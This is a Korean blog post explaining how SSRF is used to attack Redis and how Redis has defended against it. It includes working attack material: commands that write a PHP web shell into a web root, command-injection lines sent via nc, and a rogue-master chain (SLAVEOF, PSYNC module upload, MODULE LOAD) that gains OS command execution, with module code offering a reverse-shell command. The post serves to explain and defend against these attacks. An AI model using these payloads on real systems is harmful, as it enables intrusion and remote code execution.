SSRF to Redis
SSRF (Server-Side Request Forgery)
SSRF는 서버의 요청을 변조하여 원하는 데이터 또는 원하는 타겟에 대해 서버의 자원을 이용해 요청을 보내는 공격 방법입니다.다수의 마이크로 서비스로 이루어지는 모던 스택 또는 다른 서비스와 상호작용하는 형태에서 다른 서비스에 접근하여 취약점을 유발하는 SSRF취약점의 가치는 증가하게 되었습니다.
Redis
Key-Value 데이터 모델을 가진 NoSQL 데이터베이스입니다. 데이터를 메모리에 저장하는 인메모리 데이터베이스로 read/write 속도가 빠르다는 장점으로 대중적으로 많이 사용되고 있습니다.
Redis는 왜 해커의 타겟이 되었나?
Redis는 SSRF취약점 발생 시 주로 타겟이 되는 서비스 중 하나입니다. 이에 대한 이유는 아래와 같다고 생각됩니다.
- 인증 체계
기본적으로 Redis는 인증 체계가 없으며, bind 127.0.0.1, port 6379로 서비스가 설정됩니다.
redis.conf의 내용 중 port와 bind에 대한 내용입니다. ```apache # Accept connections on the specified port, default is 6379. # If port 0 is specified Redis will not listen on a TCP socket. port 6379 ... # By default Redis listens for connections from all the network interfaces # available on the server. It is possible to listen to just one or multiple # interfaces using the "bind" configuration directive, followed by one or # more IP addresses. # # Examples: # # bind 192.168.1.100 10.0.0.1 bind 127.0.0.1 ```
또한, 특별한 인증 체계가 기본적으로 없기 때문에 직접 접근을 통해 명령어 실행이 가능합니다.
```bash $ echo -e 'info\r\n' | nc 127.0.0.1 6379 $2728 # Server redis_version:4.0.9 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:9435c3c2879311f3 redis_mode:standalone os:Linux 5.0.0-27-generic x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:7.4.0 process_id:13438 run_id:61725671377fa0ba43547443df3097b0346b9bab tcp_port:6379 ... ```
- Redis를 통해 얻을 수 있는 결과
공격 시 얻을 수 있는 결과가 없다면 중요도는 떨어지게 됩니다. 하지만 Redis에서 다루는 데이터를 추출할 수 도 있으며, Redis의 명령어를 통해 공격하는 방법들도 있습니다.
- Redis가 주로 다루는 정보들
- Redis명령어를 통한 공격 방식
``` config set dir /var/www/html/redis config set dbfilename redis.php set test "<?php system($_GET['cmd']); ?>" save ```
Redis는 어떻게 방어하였나?
- HTTP SSRF 방어
이전에는 HTTP의 구조를 이용해 헤더 또는 바디 등에 명령어를 포함해 공격을 시도하였습니다.
```bash $ echo -e "anydata: anydata\r\nget hello" | nc 127.0.0.1 6379 -ERR unknown command 'anydata:' $5 world ```
위 명령어와 같이 이전 명령어가 유효하지 않은 명령어여도 다음 명령어는 성공적으로 실행됩니다.
"https://github.com/antirez/redis/commit/a81a92ca2ceba364f4bb51efde9284d939e7ff47"는 HTTP를 이용한 공격에 대한 패치 커밋입니다.```bash $ echo -e "post a\r\nget hello" | nc 127.0.0.1 6379 $ echo -e "host: a\r\nget hello" | nc 127.0.0.1 6379 # 12235:M 01 May 09:59:57.614 # Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted. ```
위와 같이 명령어 중에 HTTP 구조의 키워드가 포함된 악성 명령어인 경우 해당 요청을 차단하도록 설정되었습니다. 하지만 여전히 다른 프로토콜등을 활용한 SSRF에는 취약할 수 밖에 없습니다.
- Access File System
Systemd를 통해 서비스 시 아래와 같이 설정됩니다. (Ubuntu 18.04 기준, 패키지매니저(apt)를 통해 설치 시)
``` # root@ubuntu18.04:~# cat /etc/systemd/system/redis.service ... UMask=007 PrivateTmp=yes LimitNOFILE=65535 PrivateDevices=yes ProtectHome=yes ReadOnlyDirectories=/ ReadWriteDirectories=-/var/lib/redis ReadWriteDirectories=-/var/log/redis ReadWriteDirectories=-/var/run/redis ... ReadWriteDirectories=-/etc/redis ``` 마운트 네임 스페이스를 이용해 가상의 파일 시스템을 만들어 실제 드라이브와 별개로 관리합니다. 일반적인 redis권한으로도 접근 및 파일생성이 가능한 `/tmp` 디렉토리도 `PrivateTmp`를 통해 따로 관리되도록 설정하였습니다. 아래는 `PrivateTmp`가 설정된 상태에서 `/tmp`에 파일을 작성하는 스크립트를 실행해보았습니다. 성공적으로 생성되었다는 응답이 왔습니다. ```bash root@ubuntu18.04:~# cat exp.txt config set dir /tmp config set dbfilename redis.php set test "<?php system($_GET['cmd']); ?>" save root@ubuntu18.04:~# cat exp.txt | nc 127.0.0.1 6379 +OK +OK +OK +OK ``` 하지만 실제 디렉토리를 확인해보면 아래와 같이 /tmp에 저장되지 않고, systemd가 redis가 사용할 수 있도록 생성한 네임스페이스에 생성된 것을 확인할 수 있습니다. ```bash root@ubuntu18.04:~# ls -al /tmp total 20 drwxrwxrwt 11 root root 4096 May 1 19:11 . drwxr-xr-x 23 root root 4096 May 1 09:54 .. drwx------ 3 root root 4096 May 1 09:51 systemd-private-fc0c8248d28d4c74a2435cae66cbede0-redis-server.service-gh9XfK ... root@ubuntu18.04:~# ls -alR /tmp/systemd-private-fc0c8248d28d4c74a2435cae66cbede0-redis-server.service-gh9XfK/ /tmp/systemd-private-fc0c8248d28d4c74a2435cae66cbede0-redis-server.service-gh9XfK/: total 20 drwx------ 3 root root 4096 May 1 17:51 . drwxrwxrwt 11 root root 12288 May 1 17:55 .. drwxrwxrwt 2 root root 4096 May 1 09:51 tmp /tmp/systemd-private-fc0c8248d28d4c74a2435cae66cbede0-redis-server.service-gh9XfK/tmp: total 12 drwxrwxrwt 2 root root 4096 May 1 19:11 . drwx------ 3 root root 4096 May 1 17:51 .. -rw-rw---- 1 redis redis 134 May 1 09:51 redis.php ``` 해당 디렉토리에 일반적으로 접근하기 위해서는 root권한을 가지고 있어야 하기 때문에 일반적인 상황에서 공격에 활용하기에 더욱 힘들어집니다. 또한, 아래와 같이 지정된 디렉토리외에 접근하는 파일시스템에는 Read-Only한 권한으로 접근하도록하였습니다. ```bash # 11914:C 01 May 09:55:46.093 # Failed opening the RDB file redis.php (in server root dir /var/www/html/redis) for saving: Read-only file system ``` 하지만 위와 같은 상황에서도 공격 기법들은 꾸준히 연구되었으며 그 중 Module을 load하여 RCE로 연계하는 공격 방법도 존재합니다. 해당 공격 방법은 아래와 같습니다. 1) [RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)을 참고해서 Redis에서 실행될 수 있는 모듈 제작. ```c // https://github.com/n0b0dyCN/RedisModules-ExecuteCommand/blob/master/src/module.c ... int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (RedisModule_Init(ctx,"system",1,REDISMODULE_APIVER_1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx, "system.exec", DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx, "system.rev", RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; return REDISMODULE_OK; } ``` 2) SLAVEOF 명령어를 이용해 공격자의 서버로 연결. ``` SLAVEOF ip port ``` 3) SYNC 과정을 통해 모듈을 파일 시스템에 업로드. ``` [recv] 'PSYNC 2d2c7e7dcd93b801b1faba75dcc20a88af8524ec 1\r\n' [send] '+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$44336\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00]\xa6\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n' ``` 4) Module load를 통해 파일 시스템에 존재하는 모듈 로드. ``` MODULE LOAD path [ arg [arg ...]] ``` 성공적으로 모듈이 로드되면, 이를 이용하여 OS명령어를 실행시킬 수 있습니다. ```bash wooeong@ubuntu18.04:/tmp$ redis-cli -h 127.0.0.1 127.0.0.1:6379> system.exec "id" "uid=113(redis) gid=118(redis) groups=118(redis)\n" ``` 익스플로잇에 대한 코드와 정보는 [redis-rogue-server](https://github.com/LoRexxar/redis-rogue-server)에서 얻을 수 있습니다.
- Multi Users, ACL
위와 같은 다양한 공격 방법들이 가능함에 따라 Redis는 Multi Users와 ACL을 추가하여 각 유저 그룹마다 사용할 수 있는 명령어와 정보를 나누도록 하였습니다. (RCP 1)
이에 따라 일반적인 권한으로는 CONFIG와 같은 admin 명령어를 사용할 수 없도록 하는 방안입니다.
해당 기능은 Redis 6.0부터 추가됩니다.
결론
Redis에 SSRF 공격에 대한 방어가 이루어지지만, 마찬가지로 우회하여 공격할 수 있는 기법들도 여전히 연구되고 있습니다.Redis가 꾸준히 패치를 진행하지만 Redis 설정을 통해 인증 과정을 추가하거나, 근본적인 SSRF취약점 제거가 이루어져야합니다.
References
- Redis github (https://github.com/antirez/redis)- https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
잘 봤습니다~ 몰랐던 것 알게되네요 ㅎㅎ
답글삭제